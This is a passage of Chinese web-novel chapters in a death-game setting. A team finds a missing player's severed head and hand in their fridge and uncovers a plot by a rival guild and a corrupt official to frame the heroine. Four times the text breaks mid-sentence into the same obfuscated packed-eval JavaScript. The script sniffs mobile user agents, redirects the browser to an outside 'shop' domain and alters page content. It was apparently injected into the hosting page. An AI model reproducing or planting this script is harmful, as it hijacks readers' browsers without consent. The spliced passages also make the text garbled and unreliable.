初与序的眉头这才舒展了些,但拽着他袖子的手始终没松开,像是怕他反悔。冬逢初只好就着这个别扭的姿势,转头对火腿面包道:“帮忙接一盆水,拿毛巾。” 面包会意,蹦跶着冲进浴室,不一会儿就传来“哗啦啦”的水声。 它又吭哧吭哧顶着水盆摇摇晃晃地挪过来,毛巾搭在盆边沿上。冬逢初单手接过,浸湿毛巾后轻轻拧干,小心地敷在初与序的额头上。 冰凉触感让初与序无意识皱眉,但依旧没醒。 冬逢初用空着的手拉开床头柜抽屉,翻找退烧药。取出药片,又轻轻托起初与序的后颈。 “阿序。”他低声唤她,“把退烧药吃了。” 初与序迷迷糊糊睁开眼,伸手就要推开面前人。但在模糊地看到冬逢初的轮廓时,她又放下手,就着他的手吞下药片,温水滑过喉咙。 “……难吃。”她抱怨道,迷迷糊糊又睡下,手指却依然没松开冬逢初的袖子。 冬逢初没说话,只是把水杯放在一旁,重新掖了掖她的被角。 初与序侧卧在床上,左手在上依然攥着冬逢初的袖子。冬逢初的目光落在她露出的那一截手腕上,苍白的皮肤下能清晰地看见淡青色的血管。 他犹豫片刻,缓慢站起身:“…我现在去煮饭。” 他试着轻轻抽出自己的衣袖,却立刻被初与序察觉。她微微皱眉,手指攥得更紧:“别走。” 冬逢初顿了顿,俯身轻声道:“不走,我马上就回来。” 初与序不说话,半睁着眼看了他一会,手渐渐松了。冬逢初耐心地等她慢慢松开手指,又替她重新掖好被角,这才转身走向厨房。 火腿面包跟上:“要帮忙吗?” “要的。”冬逢初卷起袖子,“把冰箱里的食材拿出来吧。” “没问题没问题!”火腿面包兴冲冲跑向冰箱。 冬逢初刚系好围裙,口袋里的手机突然震动起来。他取出,屏幕上显示着u谷的名字。 “喂?” “Bloody hell(该死的),终于接了。”电话那头传来u谷烦躁的声音,背景音嘈杂得炸开了锅,“Fuck!论坛热搜都炸了,有个高层玩家失踪了,也没死在副本里,队友翻了个底朝天都没找到,十有八九是被人做了!你们小心点,一会我们两支队伍碰头了商量!” 冬逢初一顿:“等等,你现在在哪里?意哥和景明垂呢?” “Fucking system processing zone(该死的系统处理区)!全挤在那块儿看热闹呢!”u谷骂骂咧咧的声音忽远忽近,应该是在穿过人群,“Player(玩家)在永冬之城死亡不是小事,那群傻子堵着执行官要说法,他们想吃子弹了吧?” “景明垂和赵禾还在训练场,估计不知道这事儿。江意直接去办事区找齐无尽了……Shit(见鬼)!谁他妈踩我鞋子?!” 电话那头传来推搡声,u谷中英文混杂的脏话越来越远。冬逢初刚要说话,就听见“嘟”的一声,通话被挤断了。 冬逢初愣了一会儿,正打算去拉落地窗窗帘,就听见火腿面包的惨叫: “啊啊啊啊——!!!” 冬逢初一个晚上被吓了两次,他立刻冲到冰箱前,冷气扑面而来。 一颗惨白的人头赫然立在冷藏室中央,凝固的血迹在玻璃隔板上冻成冰渣。空洞的眼睛直勾勾地盯着前方,发丝上还沾着冰霜。 “这啥啊啊啊!!”面包尖叫,弹射半空,“啪”地黏在了天花板上。 冬逢初迅速做出判断:“别碰任何东西。”同时飞快拉上冰箱门,将那颗恐怖的人头重新封回黑暗。再三步并作两步来到窗前,拉紧所有窗帘。 手机再次亮起,他快速拨通景明垂和江意的号码,提醒景明垂回来时注意安全,让江意在办事区查一查D区监控,重点是十八楼的走廊和电梯。 挂断后,他一抬头,就看见初与序已经醒来,站在卧室门口。她扶着门框,脸色仍苍白,一脸问号:“发生什么事了?” 冬逢初和火腿面包对视一眼,他没有隐瞒,开口:“呃……你家冰箱里,被人放了一点点东西。” 初与序一愣,径直走向厨房,冬逢初想拦,却见她已经拉开了冰箱门。 那颗人头惨白的脸映入眼帘。 初与序平静地和人头的眼睛对视几秒,“砰”地关上冰箱门。转身掏出手机,打开论坛: #惊!永冬之城全服第37名玩家康安离奇失踪!队友称副本内未发现尸体# “!!!”火腿面包跳到初与序手臂上,睁大眼睛盯着手机,“他的头在你家冰箱!” 初与序沉默几秒:“这谁?” “康安啊!”火腿面包手舞足蹈,“他你都不认识?高权限顶尖玩家!之前从团队赛活下来的就是他和他队友!” “不认识。”初与序冷静地关掉手机,抬头看向冬逢初,“它的头在我家冰箱里,那他的身体呢?” “不清楚。”冬逢初摇摇头,还想说点什么,家门被敲响,队友们终于汇聚在一起。 客厅里充斥着紧绷的寂静,两支队伍加一个齐无尽,八人围坐在沙发周围。 齐无尽最后一个进门,反手锁上门,从口袋里取出系统监听屏蔽器。“监听屏蔽开了。”他懒洋洋道,“现在在1802说什么都不会被系统听到。” 初与序站起身,径直走向冰箱。 “Wait!”u谷突然开口,声音发紧,“你现在打开冰箱干什么?我们不是来讨论失踪案的吗?” 初与序没有回答,只是拉开了冰箱门。冷气涌出,当那颗头颅出现在众人视线里时,所有人都明显愣住,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870960|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可置信地看着康安的头。 赵禾缓缓道:“……你这是叫我们帮你想想怎么隐瞒你杀人的事情?” “?”初与序无奈地关上冰箱,“我昨天才从副本里出来,不是我杀的。” 冬逢初补充:“我们发现的时候,人头已经在冰箱里了。” 安楚托着下巴,歪着头道:“这倒是出乎意料呢。” “Seriously(认真的吗)?!你们队伍怎么天天出事?”u谷猛地站起身,烦躁地抓了抓卷发,“随歌他们还在处罚区关着呢,现在又来个康安的head(头)在你家冰箱里!” 他抓起外套就要往门口走:“Fuck this(去他的),我可不想和这种谋杀案扯上关系,我进副本躲躲。” 他刚迈出两步,赵禾突然伸腿一拦。她十岁的个子虽小,但那条腿横在u谷面前,愣是让他硬生生刹住脚步。 “现在D区监控已经恢复,拍到你进了1802,你现在走,嫌疑更大。”她冷冷道,“还有,知道你是混血,但能不能不要说英文,我听不懂。” u谷僵在原地,脸色变了又变,最后咬牙切齿地坐回沙发,骂骂咧咧:“我就知道跟你们混编队没好事。” 安楚笑眯眯地递给他一杯茶:“冷静点,现在大家都是一条船上的了。” “一条沉船还差不多。”u谷生无可恋地接过茶杯,灌了一口。“Fine(好吧),那你们说现在怎么办?总不能真的等着执行官来抄家吧?” “当然不能,先调查。”江意冷静接话,拿出笔记本电脑查询,“死者康安,排名37,擅长灵异类副本。根据系统记录,他最后一次进入副本是两周前,之后一直停留在永冬之城。” 景明垂走到冰箱前,重新打开仔细查看:“死亡时间不超过48小时,切口整齐,应该是专业手法。”她转头看向齐无尽,“能查到监控吗?” 齐无尽打了个响指,空中浮现出监控界面:“问题就在监控这里。从昨天到现在的监控全被删了,而且删得很仔细,连系统备份都清空了。这种级别的删除,需要高级权限。” “能做到这种程度的,只有高阶执行官级别的权限。”他顿了顿,意味深长地看了眼初与序,“或者和执行官勾结的人。” 安楚笑了一声:“比如屠宰场?” “I knew it(我就知道)!”u谷大骂,“一群bastard(杂种)!” “屠宰场在永冬之城杀了康安,A12帮他们删除监控,再用通行卡打开初与序家门,把头颅藏进冰箱。” 赵禾眯起眼:“然后呢?栽赃初与序在永冬之城杀玩家?” “正是。”江意推了推眼镜,“永冬之城禁止玩家自相残杀,违反者会被系统处决。一旦执行官发现初与序‘杀人’还‘藏尸’,那初与序必死无疑。” 火腿面包从厨房里蹦出来,气呼呼地说:“太卑鄙了!他们开派对庆祝你们死在副本里,原来是为了这个!” “他们这么做,也不意外。”冬逢初将泡着感冒药的杯子递到初与序手中,“上次他们说阿序杀害他们屠宰场的成员,但没能让阿序受到影响,这次想出这种办法栽赃她。” 159.屠宰场的阴谋 “那现在怎么办?”u谷烦躁,“总不能把脑袋扔出去吧?” 初与序突然开口:“尸体其他部分在哪里?” “好问题。”齐无尽抱臂靠在沙发上,“如果只有头颅在这里,说明他们可能把其他部分藏在了别处。” “我查一下康安最近的活动轨迹。”江意重新翻开电脑,十指在键盘上翻飞。 初与序走到窗边,拉开一点窗帘,看向下方的街道:“他们应该很快就会行动了,一旦有人‘发现’这颗头,我们所有人都会被关在处罚区里。” “所以我们要抢先一步。”赵禾淡淡道,“我建议兵分两路:一队去找尸体其他部分,一队在这里设伏。” 景明垂拿起纸笔,在上面画出行动路线:“那就这么定了?我、初与序、冬逢初和赵禾分头去找尸体其他部分,u谷、安楚和意哥留守在这里。齐无尽,你和安楚找A12谈谈。” “等一下。”初与序忽然开口,“我觉得现在还不是行动的时候。” 她转过身解释:“屠宰场费这么大周折,不仅仅是为了让我死。他们在等一个时机,而我们也需要等待。” 安楚挑眉:“等什么?等他们来抓你?” “等他们先动。”初与序平静地说,“现在主动权在我们手里,他们不知道我们已经发现了这个计划。而我们可以反向利用这一机会,将计就计,处理一些…难办的事情。” “那这颗头怎么办?”安楚又指了指冰箱,“你和一颗头住一起?” 就在初与序打算说“也不是不行”时,身边的景明垂忽然开口:“去我那里住。”她看向初与序,“这颗头短时间内不会腐烂,只要我们和屠宰场不说,没有其他玩家会知道。” 冬逢初看向初与序,后者点头。 “好。”江意拍板,“那先按兵不动,继续监视这里的情况。齐无尽,想办法恢复被删除的监控片段。” 齐无尽无奈地点点头。 初与序看着这一幕,又转向冬逢初,小声道:“我怎么记得齐无尽是执行官,不和玩家勾结的。” “呃…”冬逢初沉默片刻,犹豫道,“可能是…他也欠意哥钱?被迫过来帮我们用来抵债?” ……齐无尽看上去可不是没有钱的样子。 “没啥事我就go back了。”u谷抄起外套往门口冲,生怕又被谁拦住。冲到一半停下脚步,回头朝安楚道,“Oh!我待会和赵禾要进副本,龙傲天在我家,你帮忙照顾一晚上,明天还给向枝冥。不过它半夜喜欢在床头织网!” 安楚:“……” 众人陆续离开,齐无尽刚走到门口,执行官通讯器就亮起蓝光。他拿出来听了片刻,回头对几人提醒:“S23明天回来。” 初与序正收拾着要带到景明垂家的衣服,闻言抬头:“正好,明天随歌他们从处罚区出来,一起找S23。” 冬逢初帮她叠好一件外套:“S23欠你们什么?” “上次帮他去‘现实’抓怪物的报酬。”初与序道,“永冬之城全副本地图,还有一次指定副本的进入权。” 火腿面包蹦过来:“能带我指定去《糖果屋》吗?听说那里的怪物都是巧克力做的!” 初与序面无表情把它拎开:“不行。” 另一边,景明垂已经打开1801的门。两户布局完全相同,只是她的客厅更简洁,几乎没有任何装饰。唯一的卧室里,一张宽大的双人床占据中央,灰色的床单平整。 暖黄的灯光笼罩着客厅,初与序和景明垂窝在沙发两头。火腿面包蜷在茶几上看着电视,有一搭没一搭地啃着饼干。 “冬逢初说你发了低烧。”景明垂递过来一杯温水,随后将毛毯盖在她身上。 “谢谢。”初与序接过水杯,空着的手碰了碰自己额头:“吃过退烧药,已经不烧了。” 景明垂点点头,换了一个话题:“还记得时光之书里面的记载吗?” “记得。”初与序手指一顿,看向景明垂,“后来时光之书缺少的一部分又出现了字迹,我和意哥把整本书翻了一遍,但全部都没有关于你的记载。” “还有团队赛赢到的相机,除了视频,五百五十四张照片,也没有我。”景明垂平静地补充。 初与序放下水杯,正打算从面板里拿出相机。 突然,一只黑褐色的大蟑螂突然从沙发底下窜出,快速爬过地毯。 “——!” 初与序瞬间以最快的速度站到沙发上,脸色发白:“景明垂!” 景明垂面无表情低头看了一眼:“没事,它走了。”她又抬头看向站在沙发上的初与序,“你可以下来了。” “不要,你怎么知道它走了?”初与序一动不动,“虫子突然消失是一件特别可怕的事情。” “我们都在这里,它不敢出现。”景明垂无奈,“你总不能一整晚都站在沙发上。” “不要,我害怕。” “下来。” “不要。” “下来。” “不要。” 景明垂深吸一口气,决定换个策略:“初与序,我上次把你的烟拿走带回来了。你下来,我就把藏的位置告诉你。” 初与序沉默片刻,动心了:“……真的?” “嗯。” 初与序犹豫了一秒,慢吞吞从沙发上挪下来,脚刚沾地就警惕地环顾四周,确认没有其他虫子后,才松了口气,眼睛亮亮地看着景明垂:“在哪?” “厨房冰箱里。” 初与序穿上拖鞋就要往厨房走,睡衣后领却被景明垂一把拽住,拖了回来。 “我只说告诉你在哪,没让你抽。”景明垂面无表情,“也没让你去看,不许靠近厨房。” 初与序:“……” 没办法,她只好重新坐回沙发,抱着双腿,下巴抵在膝盖上。景明垂看着她耷拉着脑袋的样子,笑了一下,也坐到她身边。 “对了,《亡铃》里的那串数字——997255518,你现在还有头绪吗?”景明垂问着,从茶几上拿起纸笔,在白纸上写下那串数字。 初与序沉默了一会,像是在思考。她突然坐直身体:“我记得之前在礼堂讨论会上,意哥说过:永冬之城存在了9972年。” “还有《死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870961|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电梯》的副本。”她继续回忆着,“那个疯帽子也提到过这些数字。” 记忆闪回到那个荒诞的副本,她和冬逢初合伙搞砸了茶话会。疯帽子气得跳脚,最后却神经质地唱起歌: “再砍一刀~再砍深一点~就像时间砍掉十八年前和九千九百七十二年前~” 众所周知,永冬之城的副本不会随便安排个数字放进副本里。景明垂迅速在纸上将数字分解成三份:9972|555|18。 “五百五十五减一,是五百五十四。”她低声道,“五百五十四乘以十八,等于……九千九百七十二。” 两人对视一眼,一时间不知道该说什么。火腿面包凑过来,用边角戳了戳「555」:“你们不知道吗?在系统代码里,5表示‘错误’。” “错误?”初与序低声重复,继续思考,“疯帽子唱的是‘时间砍掉’,如果这不是巧合,那么‘555’和‘18’不可能是数字,而是次数。” “某种被重复了555次的事件?”景明垂猜测,“但乘以十八等于九千九百七十二的数,并不是555,而是554。” 初与序点头,又指着最后的“18”,开口道:“而这个十八又表示什么?十八年前?还是第十八年前?” 两人正沉默着思考,被火腿面包的囔囔声打破:“我饿了,你们解密解到连夜宵都不吃了吗?” 景明垂头也不抬,随手一指:“冰箱里应该有吃的,你可以靠近厨房,自己拿。” “好耶!”面包兴冲冲地蹦向厨房。 初与序还在盯着那串数字出神,下一秒: “啊啊啊——!!” 火腿面包的尖叫声炸响,两人被吓了一跳,对视一眼,同时起身冲进厨房。只见面包瘫在地上,颤抖地指着敞开的冰箱门。 冷藏室内,一只苍白的手掌端正地摆在保鲜膜盒上,手指僵硬地弯曲着,切口处凝结着暗红的冰晶。 “康安的右手。”景明垂冷静判断。 初与序已经冲到落地窗前,“唰”一下拉开窗帘。十八层楼下的雪地里,两个黑衣人立在那里,正抬头凝视着这个方向,似乎在等待她们现在下来讨要说法。 初与序却没有任何动作,只是重新拉紧窗帘,回到厨房。 两人戴着手套将断手放回1802的冰箱,摆在头颅旁边。 景明垂关上冰箱门,转向初与序,为了防止被系统监听,她用口型缓缓说:“头和手不能一直放这儿,如果执行官突击检查,一定会发现。” “下次进副本时,我带着藏进去。”初与序也用口型回道,“到时候让D19屏蔽副本信息,在进入副本前不会有人知道是什么本,包括进去的玩家。” 回到1801时,火腿面包依旧瘫在厨房地砖上,它一个晚上被吓了两次,此刻彻底蔫了:“我要申请工伤补助……跟着你们天天都受惊吓……” 初与序蹲下来戳了戳它:“起来吧,给你热牛奶。” “再加块饼干!” “……好。” D栋楼下,黑衣人在雪中又站了十分钟,差点冻成冰人,最终只好悻悻离去。 160.拿到报酬 永冬之城的清晨依旧灰蒙,初与序站在处罚禁足区外,呼出的白气在寒风中迅速消散。她垂下眼,拉高了大衣衣领,勉强挡住刺骨的寒风。 厚重的大门缓缓打开,三个熟悉的身影从阴影里走出。 “哇!自由的味道!”随歌夸张地吸了一口气,鼻梁上还贴着创口贴,“就是为啥我感觉今天的永冬之城比之前还冷了有点?” 向枝冥慢悠悠跟在后面,他掏出手机看了一下:“今天零下15度,不冷才怪。” 回北最后一个出来,她活动了下手腕,朝初与序笑道:“哟,来接我们?” “嗯。”初与序点点头,又扫了眼随歌的伤,“打赢了,恭喜。” “那当然!”随歌得意道,“我们仨对屠宰场三十个,最后齐无尽拉架的时候,我还趁机踹了A12一脚。” 向枝冥翻了个白眼:“然后就被罚没饭吃。” 初与序笑了一下,转身朝处罚区大厦的方向走:“走吧,去找S23,他两小时前刚回来。” “哦对!那个地图!”随歌一拍脑门,随即龇牙咧嘴地捂住鼻子,“嗷……忘了有伤。” 回北摆摆手:“你们去吧,赵禾他们还在D区等我。”她顿了顿,朝初与序眨眨眼,“小心点,最近屠宰场的人很跳,他们的二把手现在经常出面。” 三人目送她离开,随歌凑到初与序身边:“所以我们在处罚区的时候,外面是不是发生了啥事?” “冰箱里多了点东西。”初与序用口型简短地说。 向枝冥挑眉,也用口型回答:“吃的?” “人头。” “……” 初与序拿出手机拨弄了几下,将昨天康安失踪的热搜词条给两人看:“顺便问问S23知不知道他的脑袋为什么会在我的冰箱里面。” 随歌和向枝冥对视一眼,立刻跟了上去。 处罚大厦里依旧鬼哭狼嚎,守门的执行官看到他们,刚想阻拦,初与序直接亮出上回复制的通行卡:“A12给的,找S23,上次任务的后续。” 执行官狐疑地扫了眼三人,最终还是放行了。和他擦肩而过时,初与序听见他小声嘀咕:“最近A12长官怎么老是把万能通行卡给玩家……” 直到远离守门的执行官,向枝冥才小声开口:“哟,你们队伍五人借A12的名义干了挺多事儿啊。” “可不吗,好用!”随歌一边回答,一边在登记面板上签下自己的名字。 三人绕开大厦里巡逻的执行官,来到7楼,停在一扇标着【S23-休息室】的门前。初与序抬起手,敲了三下。 门内传来一阵懒散的脚步声,接着是S23沙哑的抱怨:“谁啊大清早的——” 门开了,他乱槽槽的头发支棱着,还穿着睡衣,执行官制服外套随意搭在肩上,眼下还带着熬夜修副本的青黑。他的目光在三人身上转了一圈,有些惊讶:“罕见啊,D区的玩家竟然会在大白天出门?” “……”初与序扶额叹气,“你是不是忘了什么事?” S23认真地想了想,恍然大悟:“哦想起来了,是来要报酬的。” 他侧身让三人进屋,顺手按下墙上的监听屏蔽器。休息室里堆满了乱七八糟的零件和零食,S23懒洋洋坐在椅子上,突然瞥见向枝冥脸上的淤青:“你们仨打架了?” “初与序没打。”随歌笑嘻嘻道,“屠宰场开的派对,我们去凑了个热闹。” S23嗤笑一声,调出系统面板:“说吧,打算进哪个副本?” 初与序没有立刻回答,而是看了眼随歌和向枝冥,确认这两人没有想进的副本,才淡淡道:“暂时没定下,等后面再说。” S23挑眉,手指在面板上划了几下:“行,那先给你这个。” 一道蓝光闪过,初与序的面板收到新通知: 【获得:永冬之城一部分副本地图】 【获得:指定副本进入权限????1(未激活)】 随歌已经自来熟地翻开了S23的零食柜,掏出两瓶草莓牛奶,甩给S23一瓶:“你们执行官待遇不错啊,还有草莓牛奶?” 向枝冥靠在墙边,冷不丁开口:“康安死了。” S23插吸管的动作一顿:“……那个全服三十七?我知道。” 初与序盯着他:“他的头在我冰箱里。” “噗——”S23一口喷出草莓牛奶,“等等,什么头?什么冰箱?我是不是还没睡醒?” 他的目光落在初与序脸上,按照初与序的性格,不像是会开玩笑的人。他慢慢坐直身体,面上变得严肃:“你确定是康安?” “确定。”初与序语气平静,“切口整齐,死亡时间不超过两天。他的右手后来也出现在景明垂家的冰箱里面了。” S23笑了:“有意思。A12昨天刚提交报告,说康安违规进入某个副本0后失踪,建议按‘副本意外’结案。” “瞎扯。”向枝冥抛铜钱的动作停住,“全服三十七的玩家怎么可能轻轻松松死在副本里?按照他的话来说,一个‘死在副本’的人,肢体却出现在永冬之城?” “康安在失踪前已经很久没有进副本了,他是在永冬之城死亡的。”初与序抱臂总结,“而负责调查的高阶执行官,恰好是S23。” S23想了想,拿起一边的笔记本电脑,快速输入几行代码:“监控记录被删除了,但D19可以查到所有执行官通行卡权限激活时间。”他开始联系D19。 过了片刻,S23继续道:“查到了。初与序前天从《亡铃》回到永冬之城,当天下午6点17分,A12的通行卡在D区D栋18层激活过。” 初与序回忆了一下,前天黄昏自己回到D栋,火腿面包在那之前把剩菜放进冰箱,那个时候冰箱里并没有康安的头。屠宰场的人应该就是在下午六点左右潜入她和景明垂家中,把康安的头和右手放进冰箱里。 随歌咬着吸管含糊道:“这算人赃俱获吗?” “不能算。”S23放回电脑,“除非你们能证明,是A12协助屠宰场成员,亲手把尸体运进初与序和景明垂家的。” 初与序道:“会有证据的。” S23耸耸肩,看着她:“需要我‘不小心’泄露A12的排班表吗?” “你是想吃子弹了?”初与序扫了他一眼,转身走向门口,“我们有其他办法。” 走廊的冷风灌进来,初与序率先走出去,S23在身后笑起来:“对了,下次找我记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870962|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上来,我还在倒时差,修副本很累的。” 向枝冥回头比了个中指,门“砰”地关上了。 走出大厦,寒风凛冽,实在太冷了,初与序不得不再次拉高衣领。 口袋里的手机震动了一下,她掏出来一看,是景明垂的信息: 【景明垂】:时光之书阁楼见。 向枝冥瞥了眼初与序的表情,立刻明白他们又有自己的事要做,随意挥了下手:“你们忙,我回去找u谷,龙傲天还在他那儿。” “u谷进副本躲我们了,龙傲天现在在安楚家。”初与序道。 “……操。”向枝冥咬牙切齿,“我可不想见安楚…算了。”他无奈地叹了口气,没多说什么,转身朝反方向离去。 “估计他一会儿又会和安楚吵架。”随歌搓了搓冻红的耳朵,咧嘴一笑,“走吧,找个没人的地方,进时光之书。” 两人拐进一条偏僻的小巷,确认四下无人后,初与序和随歌同时掏出D区通行卡。卡面泛着微弱的蓝光。五张卡的权限早已绑定,轻轻一划,眼前的空间无声扭转,他们来到了阁楼。 八角窗透进冷白的光,照在擦拭干净的茶几上。地板上的血迹早已被几人清理干净,整个空间比之前整洁许多。 江意坐在沙发角落里,笔记本电脑放在膝盖上。他推了推眼镜,手指在键盘上敲击:“康安住在K区,失踪前最后出现的地点是别离山。” “但别离山附近的监控全被删了,一个不留。” 初与序已经通过耳骨夹,将阁楼里的场景共享给永冬之城的冬逢初。冬逢初闻言,开口问道:“A12干的?” 初与序把他的话重复了一遍,江意轻轻点了点头:“除了他,没有执行官能这么彻底地抹除记录。” 随歌盘腿坐在地毯上:“所以康安是在别离山被杀的?那屠宰场的人肯定在那儿埋伏好了,就等我们过去调查。” 景明垂靠在沙发边缘:“如果不去别离山调查,就没办法直接证明A12和屠宰场勾结。”她顿了顿,“其次,我们也不一定能在别离山找到线索。” 初与序沉默地听着,手指再一次无意识在沙发上画着圆。 随歌突然笑道:“要我说,直接杀去屠宰场老巢,把他们全端了!反正他们杀了康安,证据总能挖出来。” 景明垂冷冷地扫了他一眼:“屠宰场几万人,A12还能随时封闭整个区域。我们连证据都带不出来,就会被判定为‘私斗’,到时候谁管你是不是正义的一方?” 江意点头:“玩家之前的厮杀,管理员向来不会管。除非直接闹到管理员前面,否则A12一定有办法拦住我们。” “那倒也是。”随歌听完蔫了。 景明垂看向初与序:“你有什么想法?” “暂时不去别离山,装作不知情。”初与序只说了一句,便不再多言。 几人陷入短暂的沉默。 随歌抓了抓头发:“那总不能干等着吧?A12和屠宰场的人迟早会再动手,可我们连他们联合杀死康安的证据都没有。” 江意合上笔记本电脑:“至少现在我们知道,别离山是重要地点。但贸然过去,风险太大。” 讨论无果,他们暂时搁置了话题。 161.自由搏击 初与序展开S23给的副本地图,纸页上浮现出永冬之城到副本地点之间的列车轨道。D开头的轨道闪烁着微弱蓝光,延伸向各个副本地标。 “S23还挺贴心,把D开头的轨道给我们标出来了。”随歌凑过来。 初与序拿起铅笔,盯着地图停顿片刻,开始标记: 《人影诡村》、《狼人杀》、《十只兔子》、《死亡电梯》、《扎人偶》、《阴阳渡》、《求求你们互相背刺吧》、《田园牧歌》、《蟒蛇旅馆》、《亡铃》。 初与序在这之前倒是没想到自己已经通关了十个副本了,她将这些副本地点连接起来。最后一场《亡铃》位于D轨道最南端的庄园处。她标记完毕,后退半步,审视整张地图。 被圈出的副本分布呈一道不规则的半圆弧线,像是某种未完成的轨迹。 “看出什么了?”景明垂问。 初与序摇头,手指点了点弧线空缺的部分:“副本数量少了,还差至少五个副本,才能构呈完整路径。但目前什么都看不出来。” 江意忽然伸手,指向弧线中央的一片空白:“这里应该有一个。” “但地图上没显示。”景明垂指出。 “这是系统核心区域。”初与序解释道,“S23给的权限,只能看到外围一部分。永冬之城的副本数量是无限的。” 话音未落,右耳的耳骨夹突然震动,冬逢初的声音传来,有些焦急:“阿序,回北说她刚刚看到屠宰场的人往D栋来了,至少二十个,可能想强行搜查你和景明垂的家。” 初与序立刻把他的话转告给身边三人,三人沉默一瞬,接着随歌跳了起来:“靠!你家冰箱里还有人民碎片呢!” 初与序“啪”地合上地图塞进沙发底下:“快回去!” 四人迅速退出阁楼,初与序和随歌回到原来的小巷,同时朝着D栋拔腿狂奔。 拐过第三个路口时,遇到了正慢悠悠啃着苹果的白闽,见状笑嘻嘻地朝他们挥了挥手:“好久不见啊,你们俩赛跑呢?” “赛啥跑啊!”随歌边跑边吼,“家要被偷了!” 白闽将苹果核“咚”地扔进垃圾桶,一甩麻花辫就跟了上来:“带我一个!” 六人同时到达,冬逢初和江意已守在1802门前。初与序飞快打开1802,和景明垂利落地把冰箱里的头颅和断手塞进密封袋。 白闽瞪大眼睛看着这一幕,吓得后退半步:“你们干啥呢?” “说来话长先不说了!”随歌一把夺过袋子就打算下楼,“我把这玩意儿藏我家!” “不行!”江意拦住他,“不能放我们任何一家,执行官知道我们是一队的,肯定会搜查。” 随歌停在原地:“那咋办?!” 白闽指了指袋子:“这玩意儿不能放你们队友家,那放我家?但我住B区,离这儿太远了。”她伸手比划了一下,“总不能让我拎着一个头在永冬之城街上狂奔吧?” 初与序和冬逢初对视一眼,同时脱口而出:“向枝冥。” 随歌二话不说抄起装着头和手的黑袋子,转身冲向楼梯间:“我去去就回!” 八楼走廊。 向枝冥和安楚正剑拔弩张地吵架,蜘蛛龙傲天还在两人头顶上织网,不知道是来劝架的还是来凑热闹的。 “那么做难道是我想的吗?师父当年干的……” “别他妈提师父!他当年不也是身不由己?” 突然,八楼楼梯间的门被“哐当”一声推开,随歌旋风般冲出来,一个急刹车停在两人面前。 向枝冥和安楚同时僵住,将打算出口的话咽了下去。 “好兄弟一辈子!借你家一用!”随歌把黑袋子甩进向枝冥敞开的801房门,顾不上多说点什么,又窜回楼梯间,脚步声咚咚远去。 走廊一片死寂,向枝冥沉默片刻,走过去:“谢天谢地,他们队伍又弄了什么鬼东西?”说着,他拉开了袋子。 一颗惨白的头颅和他四目相对,旁边还躺着一只青灰色僵硬的断手。 向枝冥:“???” 安楚:“……” “随歌我操你大爷!!!!” 狂奔回来的随歌突然打了个喷嚏,初与序瞥他:“向枝冥骂你了?” “怎么可能!我过去时他忙着和安楚吵架呢。”随歌揉着鼻子笑嘻嘻道,“他肯定感动哭了。” 电梯“叮”的一声到达,电梯门缓缓打开。十五个屠宰场成员拎着砍刀,和门外六个人面面相觑。他们原本计划是趁初与序几人不在家,直接破门而出搜出康安的尸体残肢,栽赃到底。 结果现在目标人物全出现在电梯口,好整以暇地看着他们。 “哟,这么巧啊?”白闽笑嘻嘻往前一步,“各位是来送外卖的?” 为首的光头男冷笑一声,转头朝身后的执行官开口:“A10长官,就是他们家!” A10这才抬起头。这是个年轻的小伙子,穿着执行官的黑色制服,胸口的银牌上标着「A10」,明显是A12的手下。他上前一步:“系统接到举报,怀疑你们私藏违禁物品,现需搜查玩家初与序、景明垂、冬逢初和随歌的住所。” 走廊里一片死寂。 下一秒,江意从后方缓步走出,抬眼看向A10:“哦?什么违禁物品?” A10彻底愣住,这才发现江意竟也在场,他下意识后退一步。 在永冬之城,尽管执行官地位高于玩家,但江意是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890463|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个例外。即使他的玩家,权限也比大部分执行官高,甚至能调阅一部分执行官档案,连高阶执行官都要忌惮他三分。 “只、只是例行检查。”A10的气势肉眼可见地萎靡下去,他回头朝屠宰场的人使了个眼色,转身就走,“既然你们都在,那应该没什么可查的。” 